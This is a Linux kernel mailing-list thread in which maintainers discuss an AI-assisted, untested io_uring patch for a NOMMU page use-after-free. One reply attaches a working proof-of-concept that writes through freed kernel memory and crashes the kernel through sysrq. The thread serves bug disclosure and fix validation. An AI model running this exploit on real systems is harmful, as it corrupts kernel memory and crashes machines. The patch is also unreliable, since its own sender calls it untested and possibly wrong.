[PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Greg Kroah-Hartman]

Under !CONFIG_MMU, io_uring_get_unmapped_area() returns the kernel
virtual address of the io_mapped_region's backing pages directly;
the user's VMA aliases the kernel allocation. io_uring_mmap() then
just returns 0 -- it takes no page references.

The CONFIG_MMU path uses vm_insert_pages(), which takes a reference on
each inserted page.  Those references are released when the VMA is torn
down (zap_pte_range -> put_page). io_free_region() -> release_pages()
drops the io_uring-side references, but the pages survive until munmap
drops the VMA-side references.

Under NOMMU there are no VMA-side references. io_unregister_pbuf_ring ->
io_put_bl -> io_free_region -> release_pages drops the only references
and the pages return to the buddy allocator while the user's VMA still
has vm_start pointing into them.  The user can then write into whatever
the allocator hands out next.

Mirror the MMU lifetime: take get_page references in io_uring_mmap() and
release them via vm_ops->close.  NOMMU's delete_vma() calls vma_close()
which runs ->close on munmap. If the region was unregistered between
mmap and munmap (region->pages is NULL after io_free_region's memset),
walk the VMA address range instead -- the pages are still live (our refs
kept them) and virt_to_page recovers them.

This also incidentally addresses the duplicate-vm_start case: two mmaps
of SQ_RING and CQ_RING resolve to the same ctx->ring_region pointer.
With page refs taken per mmap, the second mmap takes its own refs and
the pages survive until both mmaps are closed.  The nommu rb-tree BUG_ON
on duplicate vm_start is a separate mm/nommu.c concern (it should share
the existing region rather than BUG), but the page lifetime is now
correct.

Cc: Jens Axboe <axboe@kernel.dk>
Reported-by: Anthropic
Assisted-by: gkh_clanker_t1000
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Note, I have no way of testing this, I'm only forwarding this on because
I got the bug report and was able to generate something that "seems"
correct, but it might be a total load of crap here, my knowledge of the
vm layer is very low so take this for where it is coming from (i.e. a
non-deterministic pattern matching system.)

I do have another patch that just disables io_uring for !MMU systems, if
you want that instead?  Or is this feature something that !MMU devices
actually care about?


 io_uring/memmap.c | 69 ++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 68 insertions(+), 1 deletion(-)

diff --git a/io_uring/memmap.c b/io_uring/memmap.c
index e6958968975a..6818e9abf3b3 100644
--- a/io_uring/memmap.c
+++ b/io_uring/memmap.c
@@ -366,9 +366,76 @@ unsigned long io_uring_get_unmapped_area(struct file *filp, unsigned long addr,
 
 #else /* !CONFIG_MMU */
 
+/*
+ * Under NOMMU, get_unmapped_area returns the kernel virtual address of
+ * the io_mapped_region's backing pages directly -- the user's VMA
+ * aliases the kernel allocation rather than holding its own copy or
+ * page-table entries. The CONFIG_MMU path's vm_insert_pages() takes
+ * page references that survive until munmap; this path takes none, so
+ * io_unregister_pbuf_ring() -> io_free_region() -> release_pages()
+ * frees the pages while the user's VMA still maps them. The user can
+ * then write into whatever the buddy allocator hands out next.
+ *
+ * Mirror the MMU lifetime by taking page references in io_uring_mmap()
+ * and releasing them in vm_ops->close. We re-derive the region from
+ * vm_pgoff (same lookup get_unmapped_area used) so we know which pages
+ * to grab.
+ */
+
+static void io_uring_nommu_vm_close(struct vm_area_struct *vma)
+{
+	struct io_ring_ctx *ctx = vma->vm_file->private_data;
+	struct io_mapped_region *region;
+	unsigned long i;
+
+	guard(mutex)(&ctx->mmap_lock);
+	region = io_mmap_get_region(ctx, vma->vm_pgoff);
+	/*
+	 * The region may have been unregistered (memset to zero in
+	 * io_free_region()) between mmap and munmap. The page refs we
+	 * took in io_uring_mmap() are what kept the pages alive; release
+	 * them via the VMA range since the region->pages array is gone.
+	 */
+	if (region && region->pages) {
+		for (i = 0; i < region->nr_pages; i++)
+			put_page(region->pages[i]);
+	} else {
+		/* Region cleared; walk the VMA range. */
+		unsigned long a;
+
+		for (a = vma->vm_start; a < vma->vm_end; a += PAGE_SIZE)
+			put_page(virt_to_page((void *)a));
+	}
+}
+
+static const struct vm_operations_struct io_uring_nommu_vm_ops = {
+	.close = io_uring_nommu_vm_close,
+};
+
 int io_uring_mmap(struct file *file, struct vm_area_struct *vma)
 {
-	return is_nommu_shared_mapping(vma->vm_flags) ? 0 : -EINVAL;
+	struct io_ring_ctx *ctx = file->private_data;
+	struct io_mapped_region *region;
+	unsigned long i;
+
+	if (!is_nommu_shared_mapping(vma->vm_flags))
+		return -EINVAL;
+
+	guard(mutex)(&ctx->mmap_lock);
+	region = io_mmap_get_region(ctx, vma->vm_pgoff);
+	if (!region || !io_region_is_set(region))
+		return -EINVAL;
+
+	/*
+	 * Pin the pages so io_free_region()'s release_pages() does not
+	 * drop the last reference while this VMA exists. delete_vma()
+	 * in mm/nommu.c calls vma_close() which runs ->close above.
+	 */
+	for (i = 0; i < region->nr_pages; i++)
+		get_page(region->pages[i]);
+
+	vma->vm_ops = &io_uring_nommu_vm_ops;
+	return 0;
 }
 
 unsigned int io_uring_nommu_mmap_capabilities(struct file *file)
-- 
2.53.0

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
> Note, I have no way of testing this, I'm only forwarding this on because
> I got the bug report and was able to generate something that "seems"

AI bug report I presume? Because I can't imagine anyone ever attempted
to run this.

> correct, but it might be a total load of crap here, my knowledge of the
> vm layer is very low so take this for where it is coming from (i.e. a
> non-deterministic pattern matching system.)
> 
> I do have another patch that just disables io_uring for !MMU systems, if
> you want that instead?  Or is this feature something that !MMU devices
> actually care about?

I mean, who really cares about !MMU in the first place, we should just
kill that off with a passion.

Let me take a closer look at this and bounce it past some vm people, my
nommu knowledge is close to zero as it's never been relevant in my
professional life time. Which is saying something...

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Greg Kroah-Hartman]

On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
> > Note, I have no way of testing this, I'm only forwarding this on because
> > I got the bug report and was able to generate something that "seems"
> 
> AI bug report I presume? Because I can't imagine anyone ever attempted
> to run this.

Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
guess you can do that with qemu these days?  I should dig into that,
maybe that way I can test this and get a reproducer for you.  If not,
let's just bin the thing.

> > correct, but it might be a total load of crap here, my knowledge of the
> > vm layer is very low so take this for where it is coming from (i.e. a
> > non-deterministic pattern matching system.)
> > 
> > I do have another patch that just disables io_uring for !MMU systems, if
> > you want that instead?  Or is this feature something that !MMU devices
> > actually care about?
> 
> I mean, who really cares about !MMU in the first place, we should just
> kill that off with a passion.
> 
> Let me take a closer look at this and bounce it past some vm people, my
> nommu knowledge is close to zero as it's never been relevant in my
> professional life time. Which is saying something...

Let me try to get a reproducer going first, let's not waste any more
human time on this just yet, sorry for sending this out without that
done first...

thanks,

greg k-h

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 7:55 AM, Greg Kroah-Hartman wrote:
> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>> Note, I have no way of testing this, I'm only forwarding this on because
>>> I got the bug report and was able to generate something that "seems"
>>
>> AI bug report I presume? Because I can't imagine anyone ever attempted
>> to run this.
> 
> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
> guess you can do that with qemu these days?  I should dig into that,
> maybe that way I can test this and get a reproducer for you.  If not,
> let's just bin the thing.

Was just pondering if I can run it in qemu. I'll take a look. But I knew
it'd be some kind of AI bs, because why else would anyone look at nommu
in the first place. But we have it in the codebase, so...

>>> correct, but it might be a total load of crap here, my knowledge of the
>>> vm layer is very low so take this for where it is coming from (i.e. a
>>> non-deterministic pattern matching system.)
>>>
>>> I do have another patch that just disables io_uring for !MMU systems, if
>>> you want that instead?  Or is this feature something that !MMU devices
>>> actually care about?
>>
>> I mean, who really cares about !MMU in the first place, we should just
>> kill that off with a passion.
>>
>> Let me take a closer look at this and bounce it past some vm people, my
>> nommu knowledge is close to zero as it's never been relevant in my
>> professional life time. Which is saying something...
> 
> Let me try to get a reproducer going first, let's not waste any more
> human time on this just yet, sorry for sending this out without that
> done first...

Thanks!

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Greg Kroah-Hartman]

[-- Attachment #1: Type: text/plain, Size: 2025 bytes --]

On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
> > On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
> > > Note, I have no way of testing this, I'm only forwarding this on because
> > > I got the bug report and was able to generate something that "seems"
> > 
> > AI bug report I presume? Because I can't imagine anyone ever attempted
> > to run this.
> 
> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
> guess you can do that with qemu these days?  I should dig into that,
> maybe that way I can test this and get a reproducer for you.  If not,
> let's just bin the thing.
> 
> > > correct, but it might be a total load of crap here, my knowledge of the
> > > vm layer is very low so take this for where it is coming from (i.e. a
> > > non-deterministic pattern matching system.)
> > > 
> > > I do have another patch that just disables io_uring for !MMU systems, if
> > > you want that instead?  Or is this feature something that !MMU devices
> > > actually care about?
> > 
> > I mean, who really cares about !MMU in the first place, we should just
> > kill that off with a passion.
> > 
> > Let me take a closer look at this and bounce it past some vm people, my
> > nommu knowledge is close to zero as it's never been relevant in my
> > professional life time. Which is saying something...
> 
> Let me try to get a reproducer going first, let's not waste any more
> human time on this just yet, sorry for sending this out without that
> done first...

Ok, attached is a poc.c and a script to run it.  If you run this on a
7.0 kernel today, it "should" crash. and then if you apply the patch it
doesn't (or at least that's what happened in my testing.)

Note, I have run this locally, and it seems to work, but be careful, I
can't guarantee anything, it does seem quite odd in that it "crashes"
the kernel with a sysrq call to show "proof".  Although that is a cool
trick, I need to remember that...

thanks,

greg k-h

[-- Attachment #2: poc.c --]
[-- Type: text/plain, Size: 6740 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * PoC for ANT-2026-02884: io_uring NOMMU pbuf_ring page use-after-free.
 * Secondary: ANT-2026-02650 (duplicate vm_start) shares the same root
 * cause but hits a mm/nommu.c BUG_ON that the fix does not address;
 * this PoC targets 02884.
 *
 * Fixed by commit b4190296e84b ("io_uring: take page references for
 * NOMMU pbuf_ring mmaps").
 *
 * Mechanism
 * ---------
 * Under !CONFIG_MMU, io_uring_get_unmapped_area() returns the kernel
 * virtual address of the io_mapped_region's backing pages directly and
 * io_uring_mmap() takes no page references.  IORING_UNREGISTER_PBUF_RING
 *   -> io_put_bl()
 *   -> io_free_region()
 *   -> release_pages()
 * therefore drops the only reference and the page returns to the buddy
 * allocator while the user's VMA still has vm_start pointing into it.
 * The user can read/write whatever the allocator hands out next.
 *
 * Detection: write a canary to the mmap'd page, unregister, re-read.
 * Boot with init_on_free=1 so freed pages are zeroed; on a vulnerable
 * kernel the canary becomes 0x00.  On a fixed kernel io_uring_mmap()
 * holds a get_page reference, release_pages() leaves refcount >= 1,
 * the page is not freed, and the canary survives.
 *
 * On detection, demonstrate the write-after-free (re-allocate the page
 * inside the kernel and observe it via the dangling pointer), then
 * sysrq-crash so the qemu console shows an unambiguous kernel panic.
 *
 * Build (riscv64 nommu, nolibc, BINFMT_ELF_FDPIC loadable):
 *   make -C linux ARCH=riscv O=$PWD/build-nommu headers
 *   clang --target=riscv64-unknown-linux-gnu -march=rv64imac -mabi=lp64 \
 *         -mno-relax -static-pie -nostdlib -fno-stack-protector \
 *         -fno-builtin -isystem build-nommu/usr/include \
 *         -Ilinux/tools/include/nolibc -O2 -o poc poc.c \
 *         -fuse-ld=lld -Wl,--no-dynamic-linker -Wl,-N
 *
 * -isystem MUST come before nolibc so <asm/unistd.h> resolves to riscv,
 * not the host's; -Wl,-N forces a single PT_LOAD so the FDPIC loader
 * (which does not apply R_RISCV_RELATIVE) doesn't split text/data.
 *
 * Run as init under qemu-system-riscv64 -M virt -bios none.
 * Required: CONFIG_MMU=n, CONFIG_IO_URING=y, CONFIG_MAGIC_SYSRQ=y,
 * boot with init_on_free=1.
 */

/*
 * binfmt_elf_fdpic's initial stack layout is not the SysV layout that
 * nolibc's crt.h _start_c() expects; the auxv walk runs off into
 * garbage.  We don't need argc/argv/envp, so suppress crt.h and supply
 * a minimal _start_c that just calls main.  arch-riscv.h still provides
 * the asm _start that calls _start_c.
 */
#define _NOLIBC_CRT_H
char **environ;
const unsigned long *_auxv;
#include "nolibc.h"

int main(void);
void _start_c(long *sp)
{
	(void)sp;
	exit(main());
}

#define __NR_io_uring_setup		425
#define __NR_io_uring_register		427

#define IORING_REGISTER_PBUF_RING	22
#define IORING_UNREGISTER_PBUF_RING	23
#define IORING_OFF_PBUF_RING		0x80000000ULL
#define IORING_OFF_PBUF_SHIFT		16
#define IOU_PBUF_RING_MMAP		1

#define PAGE_SIZE	4096
#define CANARY		0x55

struct io_sqring_offsets {
	uint32_t head, tail, ring_mask, ring_entries, flags, dropped, array;
	uint32_t resv1;
	uint64_t user_addr;
};

struct io_cqring_offsets {
	uint32_t head, tail, ring_mask, ring_entries, overflow, cqes, flags;
	uint32_t resv1;
	uint64_t user_addr;
};

struct io_uring_params {
	uint32_t sq_entries, cq_entries, flags, sq_thread_cpu, sq_thread_idle;
	uint32_t features, wq_fd, resv[3];
	struct io_sqring_offsets sq_off;
	struct io_cqring_offsets cq_off;
};

struct io_uring_buf_reg {
	uint64_t ring_addr;
	uint32_t ring_entries;
	uint16_t bgid;
	uint16_t flags;
	uint64_t resv[3];
};

static int io_uring_setup(unsigned entries, struct io_uring_params *p)
{
	return my_syscall2(__NR_io_uring_setup, entries, p);
}

static int io_uring_register(int fd, unsigned op, void *arg, unsigned nr)
{
	return my_syscall4(__NR_io_uring_register, fd, op, arg, nr);
}

static void die(const char *what, long ret)
{
	printf("[-] %s: %ld\n", what, ret);
	if (getpid() == 1) {
		reboot(LINUX_REBOOT_CMD_POWER_OFF);
	}
	exit(1);
}

static void crash_kernel(void)
{
	int fd = open("/proc/sysrq-trigger", O_WRONLY);

	if (fd >= 0)
		write(fd, "c", 1);
	/* sysrq disabled or /proc missing — clean exit so qemu log is
	 * still parseable. */
	reboot(LINUX_REBOOT_CMD_POWER_OFF);
}

int main(void)
{
	struct io_uring_params p;
	struct io_uring_buf_reg reg;
	volatile unsigned char *ring;
	int fd, ret, i, dirty;

	if (getpid() == 1) {
		mkdir("/proc", 0555);
		mount("proc", "/proc", "proc", 0, NULL);
	}

	memset(&p, 0, sizeof(p));
	fd = io_uring_setup(8, &p);
	if (fd < 0)
		die("io_uring_setup", fd);

	memset(&reg, 0, sizeof(reg));
	reg.ring_entries = 8;
	reg.bgid = 0;
	reg.flags = IOU_PBUF_RING_MMAP;
	ret = io_uring_register(fd, IORING_REGISTER_PBUF_RING, &reg, 1);
	if (ret < 0)
		die("REGISTER_PBUF_RING", ret);

	ring = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd,
		    IORING_OFF_PBUF_RING | (0ULL << IORING_OFF_PBUF_SHIFT));
	if (ring == MAP_FAILED)
		die("mmap PBUF_RING", (long)ring);

	printf("[*] pbuf_ring page mmap()ed at %p\n", ring);

	for (i = 0; i < PAGE_SIZE; i++)
		ring[i] = CANARY;

	memset(&reg, 0, sizeof(reg));
	reg.bgid = 0;
	ret = io_uring_register(fd, IORING_UNREGISTER_PBUF_RING, &reg, 1);
	if (ret < 0)
		die("UNREGISTER_PBUF_RING", ret);

	printf("[*] unregistered; canary[0..3] = %02x %02x %02x %02x\n",
	       ring[0], ring[1], ring[2], ring[3]);

	dirty = 0;
	for (i = 0; i < PAGE_SIZE; i++)
		if (ring[i] != CANARY)
			dirty++;

	if (!dirty) {
		printf("[+] OK: canary intact — mmap holds page reference, "
		       "fix is applied\n");
		munmap((void *)ring, PAGE_SIZE);
		close(fd);
		if (getpid() == 1)
			reboot(LINUX_REBOOT_CMD_POWER_OFF);
		return 0;
	}

	printf("[!] VULNERABLE: %d/%d canary bytes clobbered after unregister "
	       "(ring[0]=%02x, expected %02x) — page was freed under live mmap\n",
	       dirty, PAGE_SIZE, ring[0], CANARY);

	/*
	 * Demonstrate write-after-free: scribble through the dangling
	 * mapping, then make the kernel allocate a fresh page.  The pcp
	 * freelist is LIFO, so the just-freed page is handed straight
	 * back; we can observe the kernel's writes through our pointer.
	 */
	for (i = 0; i < PAGE_SIZE; i++)
		ring[i] = 0x41;

	memset(&reg, 0, sizeof(reg));
	reg.ring_entries = 8;
	reg.bgid = 1;
	reg.flags = IOU_PBUF_RING_MMAP;
	ret = io_uring_register(fd, IORING_REGISTER_PBUF_RING, &reg, 1);

	printf("[!] sprayed 0x41, re-registered bgid=1 (ret=%d); "
	       "ring[0..3] now %02x %02x %02x %02x — kernel reused the page\n",
	       ret, ring[0], ring[1], ring[2], ring[3]);
	printf("[!] triggering sysrq crash\n");
	if (getpid() == 1)
		crash_kernel();
	return 1;
}

[-- Attachment #3: run-poc.sh --]
[-- Type: application/x-sh, Size: 2871 bytes --]

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>>> Note, I have no way of testing this, I'm only forwarding this on because
>>>> I got the bug report and was able to generate something that "seems"
>>>
>>> AI bug report I presume? Because I can't imagine anyone ever attempted
>>> to run this.
>>
>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
>> guess you can do that with qemu these days?  I should dig into that,
>> maybe that way I can test this and get a reproducer for you.  If not,
>> let's just bin the thing.
>>
>>>> correct, but it might be a total load of crap here, my knowledge of the
>>>> vm layer is very low so take this for where it is coming from (i.e. a
>>>> non-deterministic pattern matching system.)
>>>>
>>>> I do have another patch that just disables io_uring for !MMU systems, if
>>>> you want that instead?  Or is this feature something that !MMU devices
>>>> actually care about?
>>>
>>> I mean, who really cares about !MMU in the first place, we should just
>>> kill that off with a passion.
>>>
>>> Let me take a closer look at this and bounce it past some vm people, my
>>> nommu knowledge is close to zero as it's never been relevant in my
>>> professional life time. Which is saying something...
>>
>> Let me try to get a reproducer going first, let's not waste any more
>> human time on this just yet, sorry for sending this out without that
>> done first...
> 
> Ok, attached is a poc.c and a script to run it.  If you run this on a
> 7.0 kernel today, it "should" crash. and then if you apply the patch it
> doesn't (or at least that's what happened in my testing.)
> 
> Note, I have run this locally, and it seems to work, but be careful, I
> can't guarantee anything, it does seem quite odd in that it "crashes"
> the kernel with a sysrq call to show "proof".  Although that is a cool
> trick, I need to remember that...

I'll try and run a nommu qemu and see what pops out on my end. What a
waste of time for a nothing burger ;-)

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 10:05 AM, Jens Axboe wrote:
> On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
>> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
>>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>>>> Note, I have no way of testing this, I'm only forwarding this on because
>>>>> I got the bug report and was able to generate something that "seems"
>>>>
>>>> AI bug report I presume? Because I can't imagine anyone ever attempted
>>>> to run this.
>>>
>>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
>>> guess you can do that with qemu these days?  I should dig into that,
>>> maybe that way I can test this and get a reproducer for you.  If not,
>>> let's just bin the thing.
>>>
>>>>> correct, but it might be a total load of crap here, my knowledge of the
>>>>> vm layer is very low so take this for where it is coming from (i.e. a
>>>>> non-deterministic pattern matching system.)
>>>>>
>>>>> I do have another patch that just disables io_uring for !MMU systems, if
>>>>> you want that instead?  Or is this feature something that !MMU devices
>>>>> actually care about?
>>>>
>>>> I mean, who really cares about !MMU in the first place, we should just
>>>> kill that off with a passion.
>>>>
>>>> Let me take a closer look at this and bounce it past some vm people, my
>>>> nommu knowledge is close to zero as it's never been relevant in my
>>>> professional life time. Which is saying something...
>>>
>>> Let me try to get a reproducer going first, let's not waste any more
>>> human time on this just yet, sorry for sending this out without that
>>> done first...
>>
>> Ok, attached is a poc.c and a script to run it.  If you run this on a
>> 7.0 kernel today, it "should" crash. and then if you apply the patch it
>> doesn't (or at least that's what happened in my testing.)
>>
>> Note, I have run this locally, and it seems to work, but be careful, I
>> can't guarantee anything, it does seem quite odd in that it "crashes"
>> the kernel with a sysrq call to show "proof".  Although that is a cool
>> trick, I need to remember that...
> 
> I'll try and run a nommu qemu and see what pops out on my end. What a
> waste of time for a nothing burger ;-)

What is fix-paddr.py? It's referenced in the build script.

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Greg Kroah-Hartman]

[-- Attachment #1: Type: text/plain, Size: 2793 bytes --]

On Tue, Apr 21, 2026 at 10:21:04AM -0600, Jens Axboe wrote:
> On 4/21/26 10:05 AM, Jens Axboe wrote:
> > On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
> >> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
> >>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
> >>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
> >>>>> Note, I have no way of testing this, I'm only forwarding this on because
> >>>>> I got the bug report and was able to generate something that "seems"
> >>>>
> >>>> AI bug report I presume? Because I can't imagine anyone ever attempted
> >>>> to run this.
> >>>
> >>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
> >>> guess you can do that with qemu these days?  I should dig into that,
> >>> maybe that way I can test this and get a reproducer for you.  If not,
> >>> let's just bin the thing.
> >>>
> >>>>> correct, but it might be a total load of crap here, my knowledge of the
> >>>>> vm layer is very low so take this for where it is coming from (i.e. a
> >>>>> non-deterministic pattern matching system.)
> >>>>>
> >>>>> I do have another patch that just disables io_uring for !MMU systems, if
> >>>>> you want that instead?  Or is this feature something that !MMU devices
> >>>>> actually care about?
> >>>>
> >>>> I mean, who really cares about !MMU in the first place, we should just
> >>>> kill that off with a passion.
> >>>>
> >>>> Let me take a closer look at this and bounce it past some vm people, my
> >>>> nommu knowledge is close to zero as it's never been relevant in my
> >>>> professional life time. Which is saying something...
> >>>
> >>> Let me try to get a reproducer going first, let's not waste any more
> >>> human time on this just yet, sorry for sending this out without that
> >>> done first...
> >>
> >> Ok, attached is a poc.c and a script to run it.  If you run this on a
> >> 7.0 kernel today, it "should" crash. and then if you apply the patch it
> >> doesn't (or at least that's what happened in my testing.)
> >>
> >> Note, I have run this locally, and it seems to work, but be careful, I
> >> can't guarantee anything, it does seem quite odd in that it "crashes"
> >> the kernel with a sysrq call to show "proof".  Although that is a cool
> >> trick, I need to remember that...
> > 
> > I'll try and run a nommu qemu and see what pops out on my end. What a
> > waste of time for a nothing burger ;-)
> 
> What is fix-paddr.py? It's referenced in the build script.

Oops, this thing scattered crud all over the filesystem.  Here's what is
in the cross-wrap directory that it created.  If I forgot anything else,
let me know, sorry about that.  I need to clean up my working directory
for this box (which is rightfully air-gapped) as it's accumulated a lot
of cruft...

greg k-h

[-- Attachment #2: fix-paddr.py --]
[-- Type: text/plain, Size: 562 bytes --]

#!/usr/bin/env python3
# Set p_paddr = p_vaddr in every program header so qemu -kernel loads
# the ELF at its link address.  riscv vmlinux.lds sets LMA=VMA-LOAD_OFFSET
# for the Image target; we want qemu to honour VMA instead.
import sys, struct

with open(sys.argv[1], 'r+b') as f:
    f.seek(0x20); phoff, = struct.unpack('<Q', f.read(8))
    f.seek(0x36); phentsize, phnum = struct.unpack('<HH', f.read(4))
    for i in range(phnum):
        base = phoff + i * phentsize
        f.seek(base + 16); vaddr = f.read(8)
        f.seek(base + 24); f.write(vaddr)

[-- Attachment #3: objcopy --]
[-- Type: text/plain, Size: 926 bytes --]

#!/bin/sh
# Host objcopy lacks the riscv backend.  Force the generic elf64-little
# reader so it can parse the input, then restore e_machine/e_flags in
# the output (which objcopy writes as EM_NONE) from the input file.
#
# Kernel objcopy invocations are: objcopy [FLAGS] INPUT OUTPUT
# (cmd_objcopy in scripts/Makefile.lib).  The last two args are always
# the in/out files.

in=""
out=""
for a; do
	case "$a" in
	-*) ;;
	*)  in=$out; out=$a ;;
	esac
done

/usr/bin/objcopy -I elf64-little "$@" || exit $?

# If output is ELF, restore e_machine (0x12, 2 bytes) and e_flags
# (0x30, 4 bytes) from the input so lld recognises it as riscv.
if [ -n "$in" ] && [ -f "$in" ] && [ -f "$out" ] && \
   [ "$(head -c4 "$out" 2>/dev/null)" = "$(printf '\177ELF')" ]; then
	dd if="$in" of="$out" bs=1 skip=18 seek=18 count=2 conv=notrunc 2>/dev/null
	dd if="$in" of="$out" bs=1 skip=48 seek=48 count=4 conv=notrunc 2>/dev/null
fi
exit 0

[-- Attachment #4: objdump --]
[-- Type: text/plain, Size: 99 bytes --]

#!/bin/sh
exec /usr/bin/objdump -b elf64-little -m riscv "$@" 2>/dev/null || /usr/bin/objdump "$@"

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 10:24 AM, Greg Kroah-Hartman wrote:
> On Tue, Apr 21, 2026 at 10:21:04AM -0600, Jens Axboe wrote:
>> On 4/21/26 10:05 AM, Jens Axboe wrote:
>>> On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
>>>> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
>>>>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>>>>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>>>>>> Note, I have no way of testing this, I'm only forwarding this on because
>>>>>>> I got the bug report and was able to generate something that "seems"
>>>>>>
>>>>>> AI bug report I presume? Because I can't imagine anyone ever attempted
>>>>>> to run this.
>>>>>
>>>>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
>>>>> guess you can do that with qemu these days?  I should dig into that,
>>>>> maybe that way I can test this and get a reproducer for you.  If not,
>>>>> let's just bin the thing.
>>>>>
>>>>>>> correct, but it might be a total load of crap here, my knowledge of the
>>>>>>> vm layer is very low so take this for where it is coming from (i.e. a
>>>>>>> non-deterministic pattern matching system.)
>>>>>>>
>>>>>>> I do have another patch that just disables io_uring for !MMU systems, if
>>>>>>> you want that instead?  Or is this feature something that !MMU devices
>>>>>>> actually care about?
>>>>>>
>>>>>> I mean, who really cares about !MMU in the first place, we should just
>>>>>> kill that off with a passion.
>>>>>>
>>>>>> Let me take a closer look at this and bounce it past some vm people, my
>>>>>> nommu knowledge is close to zero as it's never been relevant in my
>>>>>> professional life time. Which is saying something...
>>>>>
>>>>> Let me try to get a reproducer going first, let's not waste any more
>>>>> human time on this just yet, sorry for sending this out without that
>>>>> done first...
>>>>
>>>> Ok, attached is a poc.c and a script to run it.  If you run this on a
>>>> 7.0 kernel today, it "should" crash. and then if you apply the patch it
>>>> doesn't (or at least that's what happened in my testing.)
>>>>
>>>> Note, I have run this locally, and it seems to work, but be careful, I
>>>> can't guarantee anything, it does seem quite odd in that it "crashes"
>>>> the kernel with a sysrq call to show "proof".  Although that is a cool
>>>> trick, I need to remember that...
>>>
>>> I'll try and run a nommu qemu and see what pops out on my end. What a
>>> waste of time for a nothing burger ;-)
>>
>> What is fix-paddr.py? It's referenced in the build script.
> 
> Oops, this thing scattered crud all over the filesystem.  Here's what is
> in the cross-wrap directory that it created.  If I forgot anything else,
> let me know, sorry about that.  I need to clean up my working directory
> for this box (which is rightfully air-gapped) as it's accumulated a lot
> of cruft...

Still get the same error:

qemu-system-riscv64: Some ROM regions are overlapping
These ROM regions might have been loaded by direct user request or by default.
They could be BIOS/firmware images, a guest kernel, initrd or some other file loaded into guest memory.
Check whether you intended to load all this guest code, and whether it has been built to load to the correct addresses.

The following two regions overlap (in the memory address space):
  build-nommu/vmlinux.qemu ELF program header segment 0 (addresses 0x0000000000000000 - 0x00000000001f1e18)
  mrom.reset (addresses 0x0000000000001000 - 0x0000000000001028)

axboe@r7625 ~/v/nommu [1]> qemu-system-riscv64 --version
QEMU emulator version 10.2.2 (Debian 1:10.2.2+ds-1)
Copyright (c) 2003-2025 Fabrice Bellard and the QEMU Project developers

What are you running this with?

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 10:41 AM, Jens Axboe wrote:
> On 4/21/26 10:24 AM, Greg Kroah-Hartman wrote:
>> On Tue, Apr 21, 2026 at 10:21:04AM -0600, Jens Axboe wrote:
>>> On 4/21/26 10:05 AM, Jens Axboe wrote:
>>>> On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
>>>>> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
>>>>>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>>>>>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>>>>>>> Note, I have no way of testing this, I'm only forwarding this on because
>>>>>>>> I got the bug report and was able to generate something that "seems"
>>>>>>>
>>>>>>> AI bug report I presume? Because I can't imagine anyone ever attempted
>>>>>>> to run this.
>>>>>>
>>>>>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
>>>>>> guess you can do that with qemu these days?  I should dig into that,
>>>>>> maybe that way I can test this and get a reproducer for you.  If not,
